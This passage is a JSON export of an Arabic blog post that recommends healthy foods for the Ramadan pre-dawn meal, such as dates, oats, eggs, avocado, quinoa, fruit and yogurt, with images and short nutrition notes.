{"id":9437,"date":"2026-02-09T08:09:51","date_gmt":"2026-02-09T04:09:51","guid":{"rendered":"https:\/\/become.sssports.com\/ar\/?p=9437"},"modified":"2026-02-09T08:09:53","modified_gmt":"2026-02-09T04:09:53","slug":"%d8%a7%d9%83%d9%84%d8%a7%d8%aa-%d8%b5%d8%ad%d9%8a%d8%a9-%d8%aa%d9%85%d9%86%d8%ad%d9%83-%d8%a7%d9%84%d9%86%d8%b4%d8%a7%d8%b7-%d9%81%d9%8a-%d8%b1%d9%85%d8%b6%d8%a7%d9%86","status":"publish","type":"post","link":"https:\/\/blog.sssports.com\/ar\/%d8%a7%d9%83%d9%84%d8%a7%d8%aa-%d8%b5%d8%ad%d9%8a%d8%a9-%d8%aa%d9%85%d9%86%d8%ad%d9%83-%d8%a7%d9%84%d9%86%d8%b4%d8%a7%d8%b7-%d9%81%d9%8a-%d8%b1%d9%85%d8%b6%d8%a7%d9%86\/","title":{"rendered":"10 \u0623\u0637\u0639\u0645\u0629 \u0635\u062d\u064a\u0629 \u062a\u0645\u0646\u062d\u0643 \u0627\u0644\u0646\u0634\u0627\u0637 \u0648\u0627\u0644\u0637\u0627\u0642\u0629 \u062e\u0644\u0627\u0644 \u0634\u0647\u0631 \u0631\u0645\u0636\u0627\u0646"},"content":{"rendered":"\n<p>\u064a\u062d\u062a\u0627\u062c \u0627\u0644\u0635\u0627\u0626\u0645\u0648\u0646 \u062e\u0644\u0627\u0644 \u0634\u0647\u0631 \u0631\u0645\u0636\u0627\u0646 \u0625\u0644\u0649 \u0628\u062f\u0621 \u064a\u0648\u0645\u0647\u0645 \u0628\u0623\u0637\u0639\u0645\u0629 \u0645\u0634\u0628\u0650\u0639\u0629\u060c \u0645\u063a\u0630\u064a\u0629\u060c \u0648\u0642\u0627\u062f\u0631\u0629 \u0639\u0644\u0649 \u062f\u0639\u0645 \u0627\u0644\u062c\u0633\u0645 \u0628\u0627\u0644\u0637\u0627\u0642\u0629 \u0628\u0634\u0643\u0644 \u0645\u0633\u062a\u062f\u0627\u0645 \u0644\u0644\u0645\u062d\u0627\u0641\u0638\u0629 \u0639\u0644\u0649 \u0627\u0644\u0646\u0634\u0627\u0637 \u062d\u062a\u0649 \u0648\u0642\u062a \u0627\u0644\u0625\u0641\u0637\u0627\u0631\u060c \u0648\u0647\u0648 \u0645\u0648\u0639\u062f \u0643\u0633\u0631 \u0627\u0644\u0635\u064a\u0627\u0645. \u0648\u0644\u0647\u0630\u0627 \u0627\u0644\u0633\u0628\u0628\u060c \u062a\u0644\u0639\u0628 \u0648\u062c\u0628\u0629 \u0627\u0644\u0633\u062d\u0648\u0631\u060c \u0627\u0644\u062a\u064a \u064a\u062a\u0645 \u062a\u0646\u0627\u0648\u0644\u0647\u0627 \u0641\u064a \u0648\u0642\u062a \u0645\u0628\u0643\u0631 \u0645\u0646 \u0627\u0644\u0635\u0628\u0627\u062d\u060c \u062f\u0648\u0631\u064b\u0627 \u0623\u0633\u0627\u0633\u064a\u064b\u0627 \u062e\u0644\u0627\u0644 \u0627\u0644\u0634\u0647\u0631 \u0627\u0644\u0641\u0636\u064a\u0644.<\/p>\n\n\n\n<p>\u0648\u0645\u0639 \u0642\u064a\u0627\u0645 \u0627\u0644\u062c\u0633\u0645 \u0628\u0625\u0637\u0644\u0627\u0642 \u0627\u0644\u0637\u0627\u0642\u0629 \u0639\u0644\u0649 \u0645\u062f\u0627\u0631 \u0627\u0644\u064a\u0648\u0645\u060c \u064a\u0639\u062a\u0645\u062f \u0645\u0639\u062f\u0644 \u0627\u0633\u062a\u0647\u0644\u0627\u0643\u0647\u0627 \u0639\u0644\u0649 \u0645\u0633\u062a\u0648\u0649 \u0627\u0644\u0646\u0634\u0627\u0637 \u0627\u0644\u064a\u0648\u0645\u064a. \u0648\u062e\u0644\u0627\u0644 \u0633\u0627\u0639\u0627\u062a \u0627\u0644\u0635\u064a\u0627\u0645\u060c \u064a\u0635\u0628\u062d \u0645\u0646 \u0627\u0644\u0636\u0631\u0648\u0631\u064a \u062a\u0646\u0627\u0648\u0644 \u0623\u0637\u0639\u0645\u0629 \u062a\u0637\u0644\u0642 \u0627\u0644\u0637\u0627\u0642\u0629 \u0628\u0628\u0637\u0621 \u0648\u0628\u0634\u0643\u0644 \u062b\u0627\u0628\u062a \u0644\u062f\u0639\u0645 \u0627\u0644\u062a\u0631\u0643\u064a\u0632\u060c \u0648\u0627\u0644\u062a\u062d\u0645\u0644\u060c \u0648\u0627\u0644\u0635\u062d\u0629 \u0627\u0644\u0639\u0627\u0645\u0629.<\/p>\n\n\n\n<p>\u0641\u064a\u0645\u0627 \u064a\u0644\u064a 10 \u0623\u0637\u0639\u0645\u0629 \u0635\u062d\u064a\u0629 \u064a\u0645\u0643\u0646 \u062a\u0646\u0627\u0648\u0644\u0647\u0627 \u0641\u064a \u0627\u0644\u0633\u062d\u0648\u0631 \u062a\u0633\u0627\u0639\u062f\u0643 \u0639\u0644\u0649 \u0627\u0644\u062d\u0641\u0627\u0638 \u0639\u0644\u0649 \u0645\u0633\u062a\u0648\u064a\u0627\u062a \u0627\u0644\u0637\u0627\u0642\u0629 \u0637\u0648\u0627\u0644 \u0627\u0644\u064a\u0648\u0645.<\/p>\n\n\n\n<p>\u0646\u0642\u062f\u0645 \u0644\u0643 \u0647\u0646\u0627 10 \u0623\u0637\u0639\u0645\u0629 \u0635\u062d\u064a\u0629 \u0644\u0644\u0633\u062d\u0648\u0631 \u0633\u062a\u062d\u0627\u0641\u0638 \u0639\u0644\u0649 \u0646\u0634\u0627\u0637\u0643 \u0637\u0648\u0627\u0644 \u0627\u0644\u064a\u0648\u0645:<\/p>\n\n\n\n<h1 style=\"font-size: 24px; text-align: right;\" class=\"wp-block-heading\"><strong>1. \u0627\u0644\u062a\u0645\u0631<\/strong><\/h1>\n\n\n\n<h2 class=\"wp-block-heading\"><\/h2>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"700\" height=\"540\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2025\/01\/Untitled-1-copy.jpg\" alt=\"\" class=\"wp-image-60810\" style=\"width:820px;height:auto\" title=\"Ramadan food\"\/><\/figure><\/div>\n\n\n<p><br>\u0627\u0644\u062a\u0645\u0631 \u063a\u0646\u064a \u0628\u0627\u0644\u0623\u0644\u064a\u0627\u0641 \u0648\u064a\u062d\u062a\u0648\u064a \u0639\u0644\u0649 \u0645\u062c\u0645\u0648\u0639\u0629 \u0645\u0646 \u0627\u0644\u0641\u064a\u062a\u0627\u0645\u064a\u0646\u0627\u062a \u0648\u0627\u0644\u0645\u0639\u0627\u062f\u0646 \u0627\u0644\u0623\u0633\u0627\u0633\u064a\u0629. \u0648\u0647\u0648 \u0645\u0639\u0631\u0648\u0641 \u0628\u0642\u062f\u0631\u062a\u0647 \u0639\u0644\u0649 \u0645\u0646\u062d \u062f\u0641\u0639\u0629 \u0637\u0627\u0642\u0629 \u0637\u0628\u064a\u0639\u064a\u0629 \u0645\u0639 \u0627\u0644\u0645\u0633\u0627\u0639\u062f\u0629 \u0641\u064a \u0627\u0644\u062a\u062d\u0643\u0645 \u0628\u0627\u0644\u062c\u0648\u0639\u060c \u0645\u0627 \u064a\u062c\u0639\u0644\u0647 \u062e\u064a\u0627\u0631\u064b\u0627 \u0645\u062b\u0627\u0644\u064a\u064b\u0627 \u0644\u0628\u062f\u0621 \u0627\u0644\u0625\u0641\u0637\u0627\u0631 \u0648\u0643\u0633\u0631\u0647. \u0643\u0645\u0627 \u062a\u0633\u0627\u0639\u062f \u0633\u0643\u0631\u064a\u0627\u062a\u0647 \u0627\u0644\u0637\u0628\u064a\u0639\u064a\u0629 \u0641\u064a \u062a\u0642\u0644\u064a\u0644 \u0627\u0644\u0631\u063a\u0628\u0629 \u0627\u0644\u0634\u062f\u064a\u062f\u0629 \u0628\u062a\u0646\u0627\u0648\u0644 \u0627\u0644\u062d\u0644\u0648\u064a\u0627\u062a.<\/p>\n\n\n\n<h2 style=\"font-size: 24px; text-align: right;\" class=\"wp-block-heading\"><strong>\u0647\u0644 \u0627\u0644\u062a\u0645\u0631 \u064a\u0646\u0641\u0639 \u0644\u0644\u0633\u062d\u0648\u0631\u061f<\/strong><\/h2>\n\n\n\n<h2 class=\"wp-block-heading\"><\/h2>\n\n\n\n<p>\u0646\u0639\u0645. \u064a\u0648\u0641\u0651\u0631 \u0627\u0644\u062a\u0645\u0631 \u0637\u0627\u0642\u0629 \u0633\u0631\u064a\u0639\u0629 \u0645\u0646 \u0627\u0644\u0633\u0643\u0631\u064a\u0627\u062a \u0627\u0644\u0637\u0628\u064a\u0639\u064a\u0629 \u0625\u0644\u0649 \u062c\u0627\u0646\u0628 \u0645\u0639\u0627\u062f\u0646 \u0645\u062b\u0644 \u0627\u0644\u0628\u0648\u062a\u0627\u0633\u064a\u0648\u0645\u060c \u0648\u0627\u0644\u0646\u062d\u0627\u0633\u060c \u0648\u0627\u0644\u0645\u0646\u063a\u0646\u064a\u0632. \u0643\u0645\u0627 \u062a\u062f\u0639\u0645 \u0627\u0644\u0623\u0644\u064a\u0627\u0641 \u0627\u0644\u0645\u0648\u062c\u0648\u062f\u0629 \u0641\u064a\u0647 \u0639\u0645\u0644\u064a\u0629 \u0627\u0644\u0647\u0636\u0645 \u0648\u062a\u0633\u0627\u0639\u062f \u0639\u0644\u0649 \u0627\u0644\u062d\u0641\u0627\u0638 \u0639\u0644\u0649 \u0645\u0633\u062a\u0648\u064a\u0627\u062a \u0627\u0644\u0637\u0627\u0642\u0629 \u0623\u062b\u0646\u0627\u0621 \u0627\u0644\u0635\u064a\u0627\u0645.<\/p>\n\n\n\n<h1 style=\"font-size: 24px; text-align: right;\" class=\"wp-block-heading\"><strong>2. \u0627\u0644\u0634\u0648\u0641\u0627\u0646<\/strong><\/h1>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"700\" height=\"540\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/06\/oats.jpg\" alt=\"Ramadan food\" class=\"wp-image-180\" title=\"Ramadan food\" srcset=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/06\/oats.jpg 700w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/06\/oats-300x231.jpg 300w\" sizes=\"(max-width: 700px) 100vw, 700px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u064a\u0645\u0646\u062d \u0627\u0644\u0634\u0648\u0641\u0627\u0646 \u0627\u0644\u062c\u0633\u0645 \u0643\u0631\u0628\u0648\u0647\u064a\u062f\u0631\u0627\u062a \u0645\u0639\u0642\u062f\u0629 \u0648\u0623\u0644\u064a\u0627\u0641\u064b\u0627 \u062a\u0633\u0627\u0639\u062f \u0639\u0644\u0649 \u0625\u0637\u0644\u0627\u0642 \u0627\u0644\u0637\u0627\u0642\u0629 \u062a\u062f\u0631\u064a\u062c\u064a\u064b\u0627 \u0637\u0648\u0627\u0644 \u0627\u0644\u064a\u0648\u0645. \u064a\u0645\u0643\u0646 \u062a\u0646\u0627\u0648\u0644\u0647 \u0643\u0639\u0635\u064a\u062f\u0629 \u062f\u0627\u0641\u0626\u0629 \u0645\u062d\u0636\u0651\u0631\u0629 \u0628\u0627\u0644\u062d\u0644\u064a\u0628 \u0623\u0648 \u0627\u0644\u0645\u0627\u0621\u060c \u0623\u0648 \u062a\u062d\u0636\u064a\u0631\u0647 \u0643\u0634\u0648\u0641\u0627\u0646 \u0645\u0646\u0642\u0648\u0639 \u0637\u0648\u0627\u0644 \u0627\u0644\u0644\u064a\u0644 \u0645\u0639 \u0627\u0644\u062a\u0648\u062a \u0648\u0627\u0644\u0645\u0643\u0633\u0631\u0627\u062a \u0644\u062e\u064a\u0627\u0631 \u0633\u062d\u0648\u0631 \u0639\u0645\u0644\u064a \u0648\u0633\u0631\u064a\u0639.<\/p>\n\n\n\n<h2 style=\"font-size: 24px; text-align: right;\" class=\"wp-block-heading\"><strong>\u0647\u0644 \u064a\u0645\u0643\u0646 \u062a\u0646\u0627\u0648\u0644 \u0627\u0644\u0634\u0648\u0641\u0627\u0646 \u0641\u064a \u0627\u0644\u0633\u062d\u0648\u0631\u061f<\/strong><\/h2>\n\n\n\n<p>\u064a\u064f\u0639\u062f \u0627\u0644\u0634\u0648\u0641\u0627\u0646 \u062e\u064a\u0627\u0631\u064b\u0627 \u0645\u0645\u062a\u0627\u0632\u064b\u0627 \u0644\u0644\u0633\u062d\u0648\u0631 \u0628\u0641\u0636\u0644 \u0643\u0631\u0628\u0648\u0647\u064a\u062f\u0631\u0627\u062a\u0647 \u0628\u0637\u064a\u0626\u0629 \u0627\u0644\u0647\u0636\u0645 \u0648\u0645\u062d\u062a\u0648\u0627\u0647 \u0627\u0644\u0639\u0627\u0644\u064a \u0645\u0646 \u0627\u0644\u0623\u0644\u064a\u0627\u0641. \u0625\u0636\u0627\u0641\u0629 \u0627\u0644\u0645\u0643\u0633\u0631\u0627\u062a\u060c \u0623\u0648 \u0627\u0644\u0628\u0630\u0648\u0631\u060c \u0623\u0648 \u0627\u0644\u0642\u0644\u064a\u0644 \u0645\u0646 \u0627\u0644\u0639\u0633\u0644 \u062a\u0639\u0632\u0651\u0632 \u0627\u0644\u0637\u0639\u0645 \u0648\u0627\u0644\u0642\u064a\u0645\u0629 \u0627\u0644\u063a\u0630\u0627\u0626\u064a\u0629.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h1 style=\"font-size: 24px; text-align: right;\" class=\"wp-block-heading\"><strong>3. \u0627\u0644\u0628\u064a\u0636<\/strong><\/h1>\n\n\n\n<h2 class=\"wp-block-heading\"><\/h2>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"700\" height=\"540\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/06\/eggs.jpg\" alt=\"Ramadan food\" class=\"wp-image-181\" title=\"Ramadan food\" srcset=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/06\/eggs.jpg 700w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/06\/eggs-300x231.jpg 300w\" sizes=\"(max-width: 700px) 100vw, 700px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u064a\u064f\u0639\u062f \u0627\u0644\u0628\u064a\u0636 \u0645\u0635\u062f\u0631\u064b\u0627 \u0639\u0627\u0644\u064a \u0627\u0644\u062c\u0648\u062f\u0629 \u0644\u0644\u0628\u0631\u0648\u062a\u064a\u0646 \u0648\u0627\u0644\u0641\u064a\u062a\u0627\u0645\u064a\u0646\u0627\u062a \u0627\u0644\u0623\u0633\u0627\u0633\u064a\u0629. \u0643\u0645\u0627 \u064a\u062d\u062a\u0648\u064a \u0639\u0644\u0649 \u0627\u0644\u062d\u062f\u064a\u062f \u0648\u0627\u0644\u0632\u0646\u0643\u060c \u0627\u0644\u0644\u0630\u064a\u0646 \u064a\u0633\u0627\u0639\u062f\u0627\u0646 \u0641\u064a \u062f\u0639\u0645 \u0645\u0633\u062a\u0648\u064a\u0627\u062a \u0627\u0644\u0637\u0627\u0642\u0629 \u0648\u062a\u0639\u0632\u064a\u0632 \u0627\u0644\u0645\u0646\u0627\u0639\u0629 \u0623\u062b\u0646\u0627\u0621 \u0627\u0644\u0635\u064a\u0627\u0645. \u064a\u0645\u0643\u0646 \u062a\u0646\u0627\u0648\u0644 \u0627\u0644\u0628\u064a\u0636 \u0645\u0633\u0644\u0648\u0642\u064b\u0627\u060c \u0623\u0648 \u0645\u0633\u0644\u0648\u0642\u064b\u0627 \u0646\u0635\u0641 \u0633\u0644\u0642\u060c \u0623\u0648 \u0645\u062e\u0641\u0648\u0642\u064b\u0627\u060c \u0623\u0648 \u0639\u0644\u0649 \u0634\u0643\u0644 \u0639\u062c\u0629 \u0644\u064a\u0645\u0646\u062d\u0643 \u0634\u0639\u0648\u0631\u064b\u0627 \u0628\u0627\u0644\u0634\u0628\u0639 \u0644\u0641\u062a\u0631\u0629 \u0623\u0637\u0648\u0644.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><\/h2>\n\n\n\n<h2 style=\"font-size: 24px; text-align: right;\" class=\"wp-block-heading\"><strong>\u0647\u0644 \u064a\u0645\u0643\u0646\u0646\u064a \u062a\u0646\u0627\u0648\u0644 \u0627\u0644\u0628\u064a\u0636 \u0641\u064a \u0627\u0644\u0633\u062d\u0648\u0631\u061f<\/strong><\/h2>\n\n\n\n<p>\u0646\u0639\u0645. \u0627\u0644\u0628\u064a\u0636 \u063a\u0646\u064a \u0628\u0627\u0644\u0639\u0646\u0627\u0635\u0631 \u0627\u0644\u063a\u0630\u0627\u0626\u064a\u0629\u060c \u0633\u0647\u0644 \u0627\u0644\u0647\u0636\u0645\u060c \u0648\u0645\u0635\u062f\u0631 \u0645\u0645\u062a\u0627\u0632 \u0644\u0644\u0628\u0631\u0648\u062a\u064a\u0646\u060c \u0645\u0627 \u064a\u062c\u0639\u0644\u0647 \u062e\u064a\u0627\u0631\u064b\u0627 \u0645\u062b\u0627\u0644\u064a\u064b\u0627 \u0644\u062f\u0639\u0645 \u0627\u0644\u0637\u0627\u0642\u0629 \u0648\u0627\u0644\u062d\u0641\u0627\u0638 \u0639\u0644\u064a\u0647\u0627 \u062e\u0644\u0627\u0644 \u0633\u0627\u0639\u0627\u062a \u0627\u0644\u0635\u064a\u0627\u0645.<\/p>\n\n\n\n<h1 style=\"font-size: 24px; text-align: right;\" class=\"wp-block-heading\"><strong>4. \u0627\u0644\u0623\u0641\u0648\u0643\u0627\u062f\u0648<\/strong><\/h1>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"700\" height=\"540\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/06\/avocado.jpg\" alt=\"Ramadan food\" class=\"wp-image-182\" title=\"Ramadan food\" srcset=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/06\/avocado.jpg 700w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/06\/avocado-300x231.jpg 300w\" sizes=\"(max-width: 700px) 100vw, 700px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u0627\u0644\u0623\u0641\u0648\u0643\u0627\u062f\u0648 \u063a\u0646\u064a \u0628\u0627\u0644\u062f\u0647\u0648\u0646 \u0627\u0644\u0635\u062d\u064a\u0629 \u0648\u0627\u0644\u0639\u0646\u0627\u0635\u0631 \u0627\u0644\u063a\u0630\u0627\u0626\u064a\u0629 \u0627\u0644\u062a\u064a \u062a\u0633\u0627\u0639\u062f\u0643 \u0639\u0644\u0649 \u0627\u0644\u0634\u0639\u0648\u0631 \u0628\u0627\u0644\u0634\u0628\u0639 \u0644\u0641\u062a\u0631\u0629 \u0623\u0637\u0648\u0644. \u064a\u0645\u0643\u0646 \u062a\u0646\u0627\u0648\u0644\u0647 \u0645\u0639 \u062e\u0628\u0632 \u0627\u0644\u0642\u0645\u062d \u0627\u0644\u0643\u0627\u0645\u0644\u060c \u0623\u0648 \u0645\u0639 \u0627\u0644\u0628\u064a\u0636\u060c \u0623\u0648 \u0625\u0636\u0627\u0641\u062a\u0647 \u0625\u0644\u0649 \u0633\u0644\u0637\u0629 \u0627\u0644\u0625\u0641\u0637\u0627\u0631\u060c \u0623\u0648 \u062a\u0646\u0627\u0648\u0644\u0647 \u0628\u0628\u0633\u0627\u0637\u0629 \u0645\u0639 \u0631\u0634\u0629 \u0645\u0646 \u0627\u0644\u0645\u0644\u062d \u0648\u0627\u0644\u0641\u0644\u0641\u0644.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h1 style=\"font-size: 24px; text-align: right;\" class=\"wp-block-heading\"><strong>5. \u0627\u0644\u0643\u064a\u0646\u0648\u0627<\/strong><\/h1>\n\n\n\n<h2 class=\"wp-block-heading JlqpRe\"><\/h2>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"700\" height=\"508\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/06\/quinoa.jpg\" alt=\"Ramadan food\" class=\"wp-image-183\" title=\"Ramadan food\" srcset=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/06\/quinoa.jpg 700w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/06\/quinoa-300x218.jpg 300w\" sizes=\"(max-width: 700px) 100vw, 700px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u062a\u064f\u0646\u0637\u0642 \u0643\u0644\u0645\u0629 \u0643\u064a\u0646\u0648\u0627 \u201c\u0643\u064a\u0646-\u0648\u0627\u201d\u060c \u0648\u0642\u062f \u0623\u0635\u0628\u062d\u062a \u0645\u0646 \u0627\u0644\u062d\u0628\u0648\u0628 \u0627\u0644\u0635\u062d\u064a\u0629 \u0627\u0644\u0634\u0627\u0626\u0639\u0629\u060c \u0648\u0644\u0633\u0628\u0628 \u0648\u062c\u064a\u0647. \u0641\u0647\u064a \u063a\u0646\u064a\u0629 \u0628\u0627\u0644\u0623\u0644\u064a\u0627\u0641\u060c \u0645\u0646\u062e\u0641\u0636\u0629 \u0627\u0644\u0633\u0639\u0631\u0627\u062a \u0627\u0644\u062d\u0631\u0627\u0631\u064a\u0629 \u0646\u0633\u0628\u064a\u064b\u0627\u060c \u0648\u062a\u0648\u0641\u0651\u0631 \u0645\u0635\u062f\u0631\u064b\u0627 \u0646\u0628\u0627\u062a\u064a\u064b\u0627 \u0644\u0644\u0628\u0631\u0648\u062a\u064a\u0646. \u064a\u0645\u0643\u0646 \u062a\u062d\u0636\u064a\u0631 \u0627\u0644\u0643\u064a\u0646\u0648\u0627 \u0643\u0637\u0628\u0642 \u0645\u0627\u0644\u062d \u0623\u0648 \u0645\u0632\u062c\u0647\u0627 \u0645\u0639 \u0627\u0644\u0641\u0648\u0627\u0643\u0647 \u0644\u0648\u062c\u0628\u0629 \u0633\u062d\u0648\u0631 \u062e\u0641\u064a\u0641\u0629 \u0648\u062d\u0644\u0648\u0629 \u0628\u0634\u0643\u0644 \u0645\u0639\u062a\u062f\u0644.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><\/h2>\n\n\n\n<h2 style=\"font-size: 24px; text-align: right;\" class=\"wp-block-heading\"><strong>\u0643\u064a\u0641 \u064a\u062a\u0645 \u0637\u0647\u064a \u0627\u0644\u0643\u064a\u0646\u0648\u0627\u061f<\/strong><\/h2>\n\n\n\n<div class=\"sm-table-layout__cell sm-table-layout__cell_align_right sm-table-layout__cell_fixed-cell_phrase\" role=\"cell\" data-testid=\"table-cell-keyword\">\n<div class=\"sm-cell-phrase\">\n<p>\u064a\u062c\u0628 \u0637\u0647\u064a \u0627\u0644\u0643\u064a\u0646\u0648\u0627 \u062d\u062a\u0649 \u062a\u0635\u0628\u062d \u0647\u0634\u0629 \u0645\u0639 \u0642\u0648\u0627\u0645 \u0637\u0631\u064a \u0642\u0644\u064a\u0644\u064b\u0627. \u0627\u063a\u0633\u0644\u0647\u0627 \u062c\u064a\u062f\u064b\u0627 \u0644\u0625\u0632\u0627\u0644\u0629 \u0627\u0644\u0637\u0628\u0642\u0629 \u0627\u0644\u0637\u0628\u064a\u0639\u064a\u0629 \u0639\u0646\u0647\u0627\u060c \u062b\u0645 \u0627\u0637\u0628\u062e\u0647\u0627 \u0639\u0644\u0649 \u0646\u0627\u0631 \u0647\u0627\u062f\u0626\u0629 \u0641\u064a \u0627\u0644\u0645\u0627\u0621 \u0623\u0648 \u0627\u0644\u0645\u0631\u0642 \u062d\u062a\u0649 \u064a\u062a\u0645 \u0627\u0645\u062a\u0635\u0627\u0635 \u0627\u0644\u0633\u0627\u0626\u0644 \u0648\u062a\u0635\u0628\u062d \u0627\u0644\u062d\u0628\u0648\u0628 \u0637\u0631\u064a\u0629.<\/p>\n<\/div>\n<\/div>\n\n\n\n<h1 style=\"font-size: 24px; text-align: right;\" class=\"wp-block-heading\"><strong>6. \u0627\u0644\u0641\u0648\u0627\u0643\u0647<\/strong><\/h1>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"700\" height=\"681\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/06\/fruits.jpg\" alt=\"Ramadan food\" class=\"wp-image-184\" title=\"Ramadan food\" srcset=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/06\/fruits.jpg 700w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/06\/fruits-300x292.jpg 300w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/06\/fruits-45x45.jpg 45w\" sizes=\"(max-width: 700px) 100vw, 700px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u062a\u064f\u0639\u062f \u0627\u0644\u0641\u0648\u0627\u0643\u0647 \u063a\u0646\u064a\u0629 \u0628\u0627\u0644\u0633\u0643\u0631\u064a\u0627\u062a \u0627\u0644\u0637\u0628\u064a\u0639\u064a\u0629\u060c \u0648\u0627\u0644\u0623\u0644\u064a\u0627\u0641\u060c \u0648\u0627\u0644\u0641\u064a\u062a\u0627\u0645\u064a\u0646\u0627\u062a\u060c \u0645\u0627 \u064a\u062c\u0639\u0644\u0647\u0627 \u0625\u0636\u0627\u0641\u0629 \u0645\u062b\u0627\u0644\u064a\u0629 \u0644\u0648\u062c\u0628\u0629 \u0627\u0644\u0633\u062d\u0648\u0631. \u064a\u0645\u0643\u0646 \u0625\u0636\u0627\u0641\u0629 \u0627\u0644\u062a\u0648\u062a\u060c \u0648\u0627\u0644\u0645\u0648\u0632\u060c \u0648\u0627\u0644\u062a\u0641\u0627\u062d \u0625\u0644\u0649 \u0627\u0644\u0639\u0635\u064a\u062f\u0629\u060c \u0623\u0648 \u0645\u0632\u062c\u0647\u0627 \u0645\u0639 \u0627\u0644\u0632\u0628\u0627\u062f\u064a \u0627\u0644\u0637\u0628\u064a\u0639\u064a\u060c \u0623\u0648 \u062e\u0644\u0637\u0647\u0627 \u0641\u064a \u0633\u0645\u0648\u0630\u064a \u0645\u0639 \u0627\u0644\u0634\u0648\u0641\u0627\u0646 \u0644\u0648\u062c\u0628\u0629 \u0645\u0634\u0628\u0639\u0629 \u0648\u0645\u0646\u0639\u0634\u0629.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h1 style=\"font-size: 24px; text-align: right;\" class=\"wp-block-heading\"><strong>7. \u0627\u0644\u0632\u0628\u0627\u062f\u064a<\/strong><\/h1>\n\n\n\n<h2 class=\"wp-block-heading\"><\/h2>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"700\" height=\"644\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/06\/yoghurt.jpg\" alt=\"Ramadan food\" class=\"wp-image-185\" title=\"Ramadan food\" srcset=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/06\/yoghurt.jpg 700w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/06\/yoghurt-300x276.jpg 300w\" sizes=\"(max-width: 700px) 100vw, 700px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u0627\u0644\u0631\u064e\u0651\u0648\u0652\u0628\u060c \u0627\u0644\u0631\u0627\u0626\u0628\u060c \u0627\u0644\u0644\u0628\u0646\u060c \u0627\u0644\u0632\u0628\u0627\u062f\u064a \u0645\u0644\u064a\u0621 \u0628\u0627\u0644\u0628\u0631\u0648\u062a\u064a\u0646\u060c \u0648\u0627\u0644\u0643\u0627\u0644\u0633\u064a\u0648\u0645\u060c \u0648\u0627\u0644\u0641\u064a\u062a\u0627\u0645\u064a\u0646\u0627\u062a \u0627\u0644\u0623\u0633\u0627\u0633\u064a\u0629. \u0627\u0644\u0623\u0646\u0648\u0627\u0639 \u0627\u0644\u062a\u064a \u062a\u062d\u062a\u0648\u064a \u0639\u0644\u0649 \u0628\u0643\u062a\u064a\u0631\u064a\u0627 \u062d\u064a\u0629 \u0648\u0646\u0634\u0637\u0629 \u062a\u062f\u0639\u0645 \u0635\u062d\u0629 \u0627\u0644\u062c\u0647\u0627\u0632 \u0627\u0644\u0647\u0636\u0645\u064a\u060c \u0628\u064a\u0646\u0645\u0627 \u062a\u0633\u0627\u0639\u062f \u0627\u0644\u0628\u0631\u0648\u0628\u064a\u0648\u062a\u064a\u0643 \u0639\u0644\u0649 \u062a\u0642\u0648\u064a\u0629 \u062c\u0647\u0627\u0632 \u0627\u0644\u0645\u0646\u0627\u0639\u0629 \u0623\u062b\u0646\u0627\u0621 \u0627\u0644\u0635\u064a\u0627\u0645. \u064a\u064f\u0639\u062f \u0627\u0644\u0632\u0628\u0627\u062f\u064a \u0627\u0644\u064a\u0648\u0646\u0627\u0646\u064a \u0623\u0648 \u0627\u0644\u062e\u064a\u0627\u0631\u0627\u062a \u0627\u0644\u0639\u0636\u0648\u064a\u0629 \u0642\u0644\u064a\u0644\u0629 \u0627\u0644\u0633\u0643\u0631 \u0645\u0646 \u0623\u0641\u0636\u0644 \u0627\u0644\u0627\u062e\u062a\u064a\u0627\u0631\u0627\u062a \u0644\u0644\u0633\u062d\u0648\u0631.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><\/h2>\n\n\n\n<p><\/p>\n\n\n\n<h1 style=\"font-size: 24px; text-align: right;\" class=\"wp-block-heading\"><strong>8.  \u0627\u0644\u0645\u0643\u0633\u0631\u0627\u062a 